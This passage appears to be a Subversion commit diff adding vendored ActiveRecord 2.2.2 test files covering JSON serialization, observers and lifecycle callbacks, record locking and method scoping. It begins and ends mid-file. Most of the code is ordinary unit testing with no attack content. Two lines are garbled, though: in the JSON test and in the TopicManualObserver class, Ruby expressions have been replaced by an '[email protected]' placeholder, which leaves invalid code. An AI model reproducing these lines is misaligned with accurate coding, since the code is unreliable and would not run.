+    json = @david.to_json(:include => :posts, :methods => :favorite_quote)
+
+    assert [email protected]_to?(:favorite_quote)
+    assert_match %r{"favorite_quote": "Constraints are liberating"}, json
+    assert_equal %r{"favorite_quote": }.match(json).size, 1
+  end
+
+  def test_should_allow_only_option_for_list_of_authors
+    authors = [@david, @mary]
+
+    assert_equal %([{"name": "David"}, {"name": "Mary"}]), authors.to_json(:only => :name)
+  end
+
+  def test_should_allow_except_option_for_list_of_authors
+    authors = [@david, @mary]
+
+    assert_equal %([{"id": 1}, {"id": 2}]), authors.to_json(:except => [:name, :author_address_id, :author_address_extra_id])
+  end
+
+  def test_should_allow_includes_for_list_of_authors
+    authors = [@david, @mary]
+    json = authors.to_json(
+      :only => :name,
+      :include => {
+        :posts => { :only => :id }
+      }
+    )
+
+    ['"name": "David"', '"posts": [', '{"id": 1}', '{"id": 2}', '{"id": 4}',
+     '{"id": 5}', '{"id": 6}', '"name": "Mary"', '"posts": [{"id": 7}]'].each do |fragment|
+      assert json.include?(fragment), json
+     end
+  end
+
+  def test_should_allow_options_for_hash_of_authors
+    authors_hash = {
+      1 => @david,
+      2 => @mary
+    }
+
+    assert_equal %({1: {"name": "David"}}), authors_hash.to_json(:only => [1, :name])
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/lifecycle_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/lifecycle_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/lifecycle_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,193 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/developer'
+require 'models/reply'
+require 'models/minimalistic'
+
+class Topic; def after_find() end end
+class Developer; def after_find() end end
+class SpecialDeveloper < Developer; end
+
+class TopicManualObserver
+  include Singleton
+
+  attr_reader :action, :object, :callbacks
+
+  def initialize
+    Topic.add_observer(self)
+    @callbacks = []
+  end
+
+  def update(callback_method, object)
+    @callbacks << { "callback_method" => callback_method, "object" => object }
+  end
+
+  def has_been_notified?
+    [email protected]?
+  end
+end
+
+class TopicaAuditor < ActiveRecord::Observer
+  observe :topic
+
+  attr_reader :topic
+
+  def after_find(topic)
+    @topic = topic
+  end
+end
+
+class TopicObserver < ActiveRecord::Observer
+  attr_reader :topic
+
+  def after_find(topic)
+    @topic = topic
+  end
+end
+
+class MinimalisticObserver < ActiveRecord::Observer
+  attr_reader :minimalistic
+
+  def after_find(minimalistic)
+    @minimalistic = minimalistic
+  end
+end
+
+class MultiObserver < ActiveRecord::Observer
+  attr_reader :record
+
+  def self.observed_class() [ Topic, Developer ] end
+
+  cattr_reader :last_inherited
+  @@last_inherited = nil
+
+  def observed_class_inherited_with_testing(subclass)
+    observed_class_inherited_without_testing(subclass)
+    @@last_inherited = subclass
+  end
+
+  alias_method_chain :observed_class_inherited, :testing
+
+  def after_find(record)
+    @record = record
+  end
+end
+
+class LifecycleTest < ActiveRecord::TestCase
+  fixtures :topics, :developers, :minimalistics
+
+  def test_before_destroy
+    original_count = Topic.count
+    (topic_to_be_destroyed = Topic.find(1)).destroy
+    assert_equal original_count - (1 + topic_to_be_destroyed.replies.size), Topic.count
+  end
+
+  def test_after_save
+    ActiveRecord::Base.observers = :topic_manual_observer
+    ActiveRecord::Base.instantiate_observers
+
+    topic = Topic.find(1)
+    topic.title = "hello"
+    topic.save
+
+    assert TopicManualObserver.instance.has_been_notified?
+    assert_equal :after_save, TopicManualObserver.instance.callbacks.last["callback_method"]
+  end
+
+  def test_observer_update_on_save
+    ActiveRecord::Base.observers = TopicManualObserver
+    ActiveRecord::Base.instantiate_observers
+
+    topic = Topic.find(1)
+    assert TopicManualObserver.instance.has_been_notified?
+    assert_equal :after_find, TopicManualObserver.instance.callbacks.first["callback_method"]
+  end
+
+  def test_auto_observer
+    topic_observer = TopicaAuditor.instance
+    assert_nil TopicaAuditor.observed_class
+    assert_equal [Topic], TopicaAuditor.instance.observed_classes.to_a
+
+    topic = Topic.find(1)
+    assert_equal topic.title, topic_observer.topic.title
+  end
+
+  def test_inferred_auto_observer
+    topic_observer = TopicObserver.instance
+    assert_equal Topic, TopicObserver.observed_class
+
+    topic = Topic.find(1)
+    assert_equal topic.title, topic_observer.topic.title
+  end
+
+  def test_observing_two_classes
+    multi_observer = MultiObserver.instance
+
+    topic = Topic.find(1)
+    assert_equal topic.title, multi_observer.record.title
+
+    developer = Developer.find(1)
+    assert_equal developer.name, multi_observer.record.name
+  end
+
+  def test_observing_subclasses
+    multi_observer = MultiObserver.instance
+
+    developer = SpecialDeveloper.find(1)
+    assert_equal developer.name, multi_observer.record.name
+
+    klass = Class.new(Developer)
+    assert_equal klass, multi_observer.last_inherited
+
+    developer = klass.find(1)
+    assert_equal developer.name, multi_observer.record.name
+  end
+
+  def test_after_find_can_be_observed_when_its_not_defined_on_the_model
+    observer = MinimalisticObserver.instance
+    assert_equal Minimalistic, MinimalisticObserver.observed_class
+
+    minimalistic = Minimalistic.find(1)
+    assert_equal minimalistic, observer.minimalistic
+  end
+
+  def test_after_find_can_be_observed_when_its_defined_on_the_model
+    observer = TopicObserver.instance
+    assert_equal Topic, TopicObserver.observed_class
+
+    topic = Topic.find(1)
+    assert_equal topic, observer.topic
+  end
+
+  def test_after_find_is_not_created_if_its_not_used
+    # use a fresh class so an observer can't have defined an
+    # after_find on it
+    model_class = Class.new(ActiveRecord::Base)
+    observer_class = Class.new(ActiveRecord::Observer)
+    observer_class.observe(model_class)
+
+    observer = observer_class.instance
+
+    assert !model_class.method_defined?(:after_find)
+  end
+
+  def test_after_find_is_not_clobbered_if_it_already_exists
+    # use a fresh observer class so we can instantiate it (Observer is
+    # a Singleton)
+    model_class = Class.new(ActiveRecord::Base) do
+      def after_find; end
+    end
+    original_method = model_class.instance_method(:after_find)
+    observer_class = Class.new(ActiveRecord::Observer) do
+      def after_find; end
+    end
+    observer_class.observe(model_class)
+
+    observer = observer_class.instance
+    assert_equal original_method, model_class.instance_method(:after_find)
+  end
+
+  def test_invalid_observer
+    assert_raise(ArgumentError) { Topic.observers = Object.new; Topic.instantiate_observers }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/locking_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/locking_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/locking_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,304 @@
+require "cases/helper"
+require 'models/person'
+require 'models/reader'
+require 'models/legacy_thing'
+require 'models/reference'
+
+class LockWithoutDefault < ActiveRecord::Base; end
+
+class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
+  set_table_name :lock_without_defaults_cust
+  set_locking_column :custom_lock_version
+end
+
+class ReadonlyFirstNamePerson < Person
+  attr_readonly :first_name
+end
+
+class OptimisticLockingTest < ActiveRecord::TestCase
+  fixtures :people, :legacy_things, :references
+
+  # need to disable transactional fixtures, because otherwise the sqlite3
+  # adapter (at least) chokes when we try and change the schema in the middle
+  # of a test (see test_increment_counter_*).
+  self.use_transactional_fixtures = false
+
+  def test_lock_existing
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = 'stu'
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = 'sue'
+    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  def test_lock_repeating
+    p1 = Person.find(1)
+    p2 = Person.find(1)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = 'stu'
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = 'sue'
+    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+    p2.first_name = 'sue2'
+    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  def test_lock_new
+    p1 = Person.new(:first_name => 'anika')
+    assert_equal 0, p1.lock_version
+
+    p1.first_name = 'anika2'
+    p1.save!
+    p2 = Person.find(p1.id)
+    assert_equal 0, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p1.first_name = 'anika3'
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal 0, p2.lock_version
+
+    p2.first_name = 'sue'
+    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+  end
+
+  def test_lock_new_with_nil
+    p1 = Person.new(:first_name => 'anika')
+    p1.save!
+    p1.lock_version = nil # simulate bad fixture or column with no default
+    p1.save!
+    assert_equal 1, p1.lock_version
+  end
+
+
+  def test_lock_column_name_existing
+    t1 = LegacyThing.find(1)
+    t2 = LegacyThing.find(1)
+    assert_equal 0, t1.version
+    assert_equal 0, t2.version
+
+    t1.tps_report_number = 700
+    t1.save!
+    assert_equal 1, t1.version
+    assert_equal 0, t2.version
+
+    t2.tps_report_number = 800
+    assert_raises(ActiveRecord::StaleObjectError) { t2.save! }
+  end
+
+  def test_lock_column_is_mass_assignable
+    p1 = Person.create(:first_name => 'bianca')
+    assert_equal 0, p1.lock_version
+    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+
+    p1.first_name = 'bianca2'
+    p1.save!
+    assert_equal 1, p1.lock_version
+    assert_equal p1.lock_version, Person.new(p1.attributes).lock_version
+  end
+
+  def test_lock_without_default_sets_version_to_zero
+    t1 = LockWithoutDefault.new
+    assert_equal 0, t1.lock_version
+  end
+
+  def test_lock_with_custom_column_without_default_sets_version_to_zero
+    t1 = LockWithCustomColumnWithoutDefault.new
+    assert_equal 0, t1.custom_lock_version
+  end
+
+  def test_readonly_attributes
+    assert_equal Set.new([ 'first_name' ]), ReadonlyFirstNamePerson.readonly_attributes
+
+    p = ReadonlyFirstNamePerson.create(:first_name => "unchangeable name")
+    p.reload
+    assert_equal "unchangeable name", p.first_name
+
+    p.update_attributes(:first_name => "changed name")
+    p.reload
+    assert_equal "unchangeable name", p.first_name
+  end
+
+  { :lock_version => Person, :custom_lock_version => LegacyThing }.each do |name, model|
+    define_method("test_increment_counter_updates_#{name}") do
+      counter_test model, 1 do |id|
+        model.increment_counter :test_count, id
+      end
+    end
+
+    define_method("test_decrement_counter_updates_#{name}") do
+      counter_test model, -1 do |id|
+        model.decrement_counter :test_count, id
+      end
+    end
+
+    define_method("test_update_counters_updates_#{name}") do
+      counter_test model, 1 do |id|
+        model.update_counters id, :test_count => 1
+      end
+    end
+  end
+  
+  def test_quote_table_name
+    ref = references(:michael_magician)
+    ref.favourite = !ref.favourite
+    assert ref.save
+  end
+
+  # Useful for partial updates, don't only update the lock_version if there
+  # is nothing else being updated.
+  def test_update_without_attributes_does_not_only_update_lock_version
+    assert_nothing_raised do
+      p1 = Person.new(:first_name => 'anika')
+      p1.send(:update_with_lock, [])
+    end
+  end
+
+  private
+
+    def add_counter_column_to(model)
+      model.connection.add_column model.table_name, :test_count, :integer, :null => false, :default => 0
+      model.reset_column_information
+      # OpenBase does not set a value to existing rows when adding a not null default column
+      model.update_all(:test_count => 0) if current_adapter?(:OpenBaseAdapter)
+    end
+
+    def remove_counter_column_from(model)
+      model.connection.remove_column model.table_name, :test_count
+      model.reset_column_information
+    end
+
+    def counter_test(model, expected_count)
+      add_counter_column_to(model)
+      object = model.find(:first)
+      assert_equal 0, object.test_count
+      assert_equal 0, object.send(model.locking_column)
+      yield object.id
+      object.reload
+      assert_equal expected_count, object.test_count
+      assert_equal 1, object.send(model.locking_column)
+    ensure
+      remove_counter_column_from(model)
+    end
+end
+
+
+# TODO: test against the generated SQL since testing locking behavior itself
+# is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
+# blocks, so separate script called by Kernel#system is needed.
+# (See exec vs. async_exec in the PostgreSQL adapter.)
+
+# TODO: The Sybase, and OpenBase adapters currently have no support for pessimistic locking
+
+unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+  class PessimisticLockingTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+    fixtures :people, :readers
+
+    def setup
+      # Avoid introspection queries during tests.
+      Person.columns; Reader.columns
+    end
+
+    # Test typical find.
+    def test_sane_find_with_lock
+      assert_nothing_raised do
+        Person.transaction do
+          Person.find 1, :lock => true
+        end
+      end
+    end
+
+    # Test scoped lock.
+    def test_sane_find_with_scoped_lock
+      assert_nothing_raised do
+        Person.transaction do
+          Person.with_scope(:find => { :lock => true }) do
+            Person.find 1
+          end
+        end
+      end
+    end
+
+    # PostgreSQL protests SELECT ... FOR UPDATE on an outer join.
+    unless current_adapter?(:PostgreSQLAdapter)
+      # Test locked eager find.
+      def test_eager_find_with_lock
+        assert_nothing_raised do
+          Person.transaction do
+            Person.find 1, :include => :readers, :lock => true
+          end
+        end
+      end
+    end
+
+    # Locking a record reloads it.
+    def test_sane_lock_method
+      assert_nothing_raised do
+        Person.transaction do
+          person = Person.find 1
+          old, person.first_name = person.first_name, 'fooman'
+          person.lock!
+          assert_equal old, person.first_name
+        end
+      end
+    end
+
+    if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+      use_concurrent_connections
+
+      def test_no_locks_no_wait
+        first, second = duel { Person.find 1 }
+        assert first.end > second.end
+      end
+
+      def test_second_lock_waits
+        assert [0.2, 1, 5].any? { |zzz|
+          first, second = duel(zzz) { Person.find 1, :lock => true }
+          second.end > first.end
+        }
+      end
+
+      protected
+        def duel(zzz = 5)
+          t0, t1, t2, t3 = nil, nil, nil, nil
+
+          a = Thread.new do
+            t0 = Time.now
+            Person.transaction do
+              yield
+              sleep zzz       # block thread 2 for zzz seconds
+            end
+            t1 = Time.now
+          end
+
+          b = Thread.new do
+            sleep zzz / 2.0   # ensure thread 1 tx starts first
+            t2 = Time.now
+            Person.transaction { yield }
+            t3 = Time.now
+          end
+
+          a.join
+          b.join
+
+          assert t1 > t0 + zzz
+          assert t2 > t0
+          assert t3 > t2
+          [t0.to_f..t1.to_f, t2.to_f..t3.to_f]
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/method_scoping_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/method_scoping_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/method_scoping_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,569 @@
+require "cases/helper"
+require 'models/author'
+require 'models/developer'
+require 'models/project'
+require 'models/comment'
+require 'models/post'
+require 'models/category'
+
+class MethodScopingTest < ActiveRecord::TestCase
+  fixtures :authors, :developers, :projects, :comments, :posts, :developers_projects
+
+  def test_set_conditions
+    Developer.with_scope(:find => { :conditions => 'just a test...' }) do
+      assert_equal 'just a test...', Developer.send(:current_scoped_methods)[:find][:conditions]
+    end
+  end
+
+  def test_scoped_find
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      assert_nothing_raised { Developer.find(1) }
+    end
+  end
+
+  def test_scoped_find_first
+    Developer.with_scope(:find => { :conditions => "salary = 100000" }) do
+      assert_equal Developer.find(10), Developer.find(:first, :order => 'name')
+    end
+  end
+
+  def test_scoped_find_combines_conditions
+    Developer.with_scope(:find => { :conditions => "salary = 9000" }) do
+      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => "name = 'Jamis'")
+    end
+  end
+
+  def test_scoped_find_sanitizes_conditions
+    Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
+      assert_equal developers(:poor_jamis), Developer.find(:first)
+    end
+  end
+
+  def test_scoped_find_combines_and_sanitizes_conditions
+    Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
+      assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
+    end
+  end
+
+  def test_scoped_find_all
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      assert_equal [developers(:david)], Developer.find(:all)
+    end
+  end
+
+  def test_scoped_find_select
+    Developer.with_scope(:find => { :select => "id, name" }) do
+      developer = Developer.find(:first, :conditions => "name = 'David'")
+      assert_equal "David", developer.name
+      assert !developer.has_attribute?(:salary)
+    end
+  end
+
+  def test_options_select_replaces_scope_select
+    Developer.with_scope(:find => { :select => "id, name" }) do
+      developer = Developer.find(:first, :select => 'id, salary', :conditions => "name = 'David'")
+      assert_equal 80000, developer.salary
+      assert !developer.has_attribute?(:name)
+    end
+  end
+
+  def test_scoped_count
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      assert_equal 1, Developer.count
+    end
+
+    Developer.with_scope(:find => { :conditions => 'salary = 100000' }) do
+      assert_equal 8, Developer.count
+      assert_equal 1, Developer.count(:conditions => "name LIKE 'fixture_1%'")
+    end
+  end
+
+  def test_scoped_find_include
+    # with the include, will retrieve only developers for the given project
+    scoped_developers = Developer.with_scope(:find => { :include => :projects }) do
+      Developer.find(:all, :conditions => 'projects.id = 2')
+    end
+    assert scoped_developers.include?(developers(:david))
+    assert !scoped_developers.include?(developers(:jamis))
+    assert_equal 1, scoped_developers.size
+  end
+
+  def test_scoped_find_joins
+    scoped_developers = Developer.with_scope(:find => { :joins => 'JOIN developers_projects ON id = developer_id' } ) do
+      Developer.find(:all, :conditions => 'developers_projects.project_id = 2')
+    end
+    assert scoped_developers.include?(developers(:david))
+    assert !scoped_developers.include?(developers(:jamis))
+    assert_equal 1, scoped_developers.size
+    assert_equal developers(:david).attributes, scoped_developers.first.attributes
+  end
+
+  def test_scoped_find_using_new_style_joins
+    scoped_developers = Developer.with_scope(:find => { :joins => :projects }) do
+      Developer.find(:all, :conditions => 'projects.id = 2')
+    end
+    assert scoped_developers.include?(developers(:david))
+    assert !scoped_developers.include?(developers(:jamis))
+    assert_equal 1, scoped_developers.size
+    assert_equal developers(:david).attributes, scoped_developers.first.attributes
+  end
+
+  def test_scoped_find_merges_old_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id ' }) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_find_merges_new_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => :comments, :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_find_merges_new_and_old_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_find_merges_string_array_style_and_string_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => ["INNER JOIN posts ON posts.author_id = authors.id"]}) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => 'INNER JOIN comments ON posts.id = comments.post_id', :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_find_merges_string_array_style_and_hash_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => :posts}) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN comments ON posts.id = comments.post_id'], :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_find_merges_joins_and_eliminates_duplicate_string_joins
+    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON posts.author_id = authors.id'}) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ["INNER JOIN posts ON posts.author_id = authors.id", "INNER JOIN comments ON posts.id = comments.post_id"], :conditions => 'comments.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_scoped_count_include
+    # with the include, will retrieve only developers for the given project
+    Developer.with_scope(:find => { :include => :projects }) do
+      assert_equal 1, Developer.count(:conditions => 'projects.id = 2')
+    end
+  end
+
+  def test_scoped_create
+    new_comment = nil
+
+    VerySpecialComment.with_scope(:create => { :post_id => 1 }) do
+      assert_equal({ :post_id => 1 }, VerySpecialComment.send(:current_scoped_methods)[:create])
+      new_comment = VerySpecialComment.create :body => "Wonderful world"
+    end
+
+    assert Post.find(1).comments.include?(new_comment)
+  end
+
+  def test_immutable_scope
+    options = { :conditions => "name = 'David'" }
+    Developer.with_scope(:find => options) do
+      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+      options[:conditions] = "name != 'David'"
+      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+    end
+
+    scope = { :find => { :conditions => "name = 'David'" }}
+    Developer.with_scope(scope) do
+      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+      scope[:find][:conditions] = "name != 'David'"
+      assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+    end
+  end
+
+  def test_scoped_with_duck_typing
+    scoping = Struct.new(:method_scoping).new(:find => { :conditions => ["name = ?", 'David'] })
+    Developer.with_scope(scoping) do
+       assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+    end
+  end
+
+  def test_ensure_that_method_scoping_is_correctly_restored
+    scoped_methods = Developer.instance_eval('current_scoped_methods')
+
+    begin
+      Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        raise "an exception"
+      end
+    rescue
+    end
+    assert_equal scoped_methods, Developer.instance_eval('current_scoped_methods')
+  end
+end
+
+class NestedScopingTest < ActiveRecord::TestCase
+  fixtures :authors, :developers, :projects, :comments, :posts
+
+  def test_merge_options
+    Developer.with_scope(:find => { :conditions => 'salary = 80000' }) do
+      Developer.with_scope(:find => { :limit => 10 }) do
+        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
+        assert_equal({ :conditions => 'salary = 80000', :limit => 10 }, merged_option)
+      end
+    end
+  end
+
+  def test_replace_options
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
+        assert_equal({:find => { :conditions => "name = 'Jamis'" }}, Developer.instance_eval('current_scoped_methods'))
+        assert_equal({:find => { :conditions => "name = 'Jamis'" }}, Developer.send(:scoped_methods)[-1])
+      end
+    end
+  end
+
+  def test_append_conditions
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      Developer.with_scope(:find => { :conditions => 'salary = 80000' }) do
+        appended_condition = Developer.instance_eval('current_scoped_methods')[:find][:conditions]
+        assert_equal("(name = 'David') AND (salary = 80000)", appended_condition)
+        assert_equal(1, Developer.count)
+      end
+      Developer.with_scope(:find => { :conditions => "name = 'Maiha'" }) do
+        assert_equal(0, Developer.count)
+      end
+    end
+  end
+
+  def test_merge_and_append_options
+    Developer.with_scope(:find => { :conditions => 'salary = 80000', :limit => 10 }) do
+      Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
+        assert_equal({ :conditions => "(salary = 80000) AND (name = 'David')", :limit => 10 }, merged_option)
+      end
+    end
+  end
+
+  def test_nested_scoped_find
+    Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+      Developer.with_exclusive_scope(:find => { :conditions => "name = 'David'" }) do
+        assert_nothing_raised { Developer.find(1) }
+        assert_equal('David', Developer.find(:first).name)
+      end
+      assert_equal('Jamis', Developer.find(:first).name)
+    end
+  end
+
+  def test_nested_scoped_find_include
+    Developer.with_scope(:find => { :include => :projects }) do
+      Developer.with_scope(:find => { :conditions => "projects.id = 2" }) do
+        assert_nothing_raised { Developer.find(1) }
+        assert_equal('David', Developer.find(:first).name)
+      end
+    end
+  end
+
+  def test_nested_scoped_find_merged_include
+    # :include's remain unique and don't "double up" when merging
+    Developer.with_scope(:find => { :include => :projects, :conditions => "projects.id = 2" }) do
+      Developer.with_scope(:find => { :include => :projects }) do
+        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
+        assert_equal('David', Developer.find(:first).name)
+      end
+    end
+
+    # the nested scope doesn't remove the first :include
+    Developer.with_scope(:find => { :include => :projects, :conditions => "projects.id = 2" }) do
+      Developer.with_scope(:find => { :include => [] }) do
+        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
+        assert_equal('David', Developer.find(:first).name)
+      end
+    end
+
+    # mixing array and symbol include's will merge correctly
+    Developer.with_scope(:find => { :include => [:projects], :conditions => "projects.id = 2" }) do
+      Developer.with_scope(:find => { :include => :projects }) do
+        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
+        assert_equal('David', Developer.find(:first).name)
+      end
+    end
+  end
+
+  def test_nested_scoped_find_replace_include
+    Developer.with_scope(:find => { :include => :projects }) do
+      Developer.with_exclusive_scope(:find => { :include => [] }) do
+        assert_equal 0, Developer.instance_eval('current_scoped_methods')[:find][:include].length
+      end
+    end
+  end
+
+  def test_three_level_nested_exclusive_scoped_find
+    Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+      assert_equal('Jamis', Developer.find(:first).name)
+
+      Developer.with_exclusive_scope(:find => { :conditions => "name = 'David'" }) do
+        assert_equal('David', Developer.find(:first).name)
+
+        Developer.with_exclusive_scope(:find => { :conditions => "name = 'Maiha'" }) do
+          assert_equal(nil, Developer.find(:first))
+        end
+
+        # ensure that scoping is restored
+        assert_equal('David', Developer.find(:first).name)
+      end
+
+      # ensure that scoping is restored
+      assert_equal('Jamis', Developer.find(:first).name)
+    end
+  end
+
+  def test_merged_scoped_find
+    poor_jamis = developers(:poor_jamis)
+    Developer.with_scope(:find => { :conditions => "salary < 100000" }) do
+      Developer.with_scope(:find => { :offset => 1 }) do
+        assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
+      end
+    end
+  end
+
+  def test_merged_scoped_find_sanitizes_conditions
+    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
+      Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
+        assert_raise(ActiveRecord::RecordNotFound) { developers(:poor_jamis) }
+      end
+    end
+  end
+
+  def test_nested_scoped_find_combines_and_sanitizes_conditions
+    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
+      Developer.with_exclusive_scope(:find => { :conditions => ['salary = ?', 9000] }) do
+        assert_equal developers(:poor_jamis), Developer.find(:first)
+        assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
+      end
+    end
+  end
+
+  def test_merged_scoped_find_combines_and_sanitizes_conditions
+    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
+      Developer.with_scope(:find => { :conditions => ['salary > ?', 9000] }) do
+        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+      end
+    end
+  end
+
+  def test_merged_scoped_find_on_blank_conditions
+    [nil, " ", [], {}].each do |blank|
+      Developer.with_scope(:find => {:conditions => blank}) do
+        Developer.with_scope(:find => {:conditions => blank}) do
+          assert_nothing_raised { Developer.find(:first) }
+        end
+      end
+    end
+  end
+
+  def test_merged_scoped_find_on_blank_bind_conditions
+    [ [""], ["",{}] ].each do |blank|
+      Developer.with_scope(:find => {:conditions => blank}) do
+        Developer.with_scope(:find => {:conditions => blank}) do
+          assert_nothing_raised { Developer.find(:first) }
+        end
+      end
+    end
+  end
+
+  def test_immutable_nested_scope
+    options1 = { :conditions => "name = 'Jamis'" }
+    options2 = { :conditions => "name = 'David'" }
+    Developer.with_scope(:find => options1) do
+      Developer.with_exclusive_scope(:find => options2) do
+        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+        options1[:conditions] = options2[:conditions] = nil
+        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
+      end
+    end
+  end
+
+  def test_immutable_merged_scope
+    options1 = { :conditions => "name = 'Jamis'" }
+    options2 = { :conditions => "salary > 10000" }
+    Developer.with_scope(:find => options1) do
+      Developer.with_scope(:find => options2) do
+        assert_equal %w(Jamis), Developer.find(:all).map { |d| d.name }
+        options1[:conditions] = options2[:conditions] = nil
+        assert_equal %w(Jamis), Developer.find(:all).map { |d| d.name }
+      end
+    end
+  end
+
+  def test_ensure_that_method_scoping_is_correctly_restored
+    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
+      scoped_methods = Developer.instance_eval('current_scoped_methods')
+      begin
+        Developer.with_scope(:find => { :conditions => "name = 'Maiha'" }) do
+          raise "an exception"
+        end
+      rescue
+      end
+      assert_equal scoped_methods, Developer.instance_eval('current_scoped_methods')
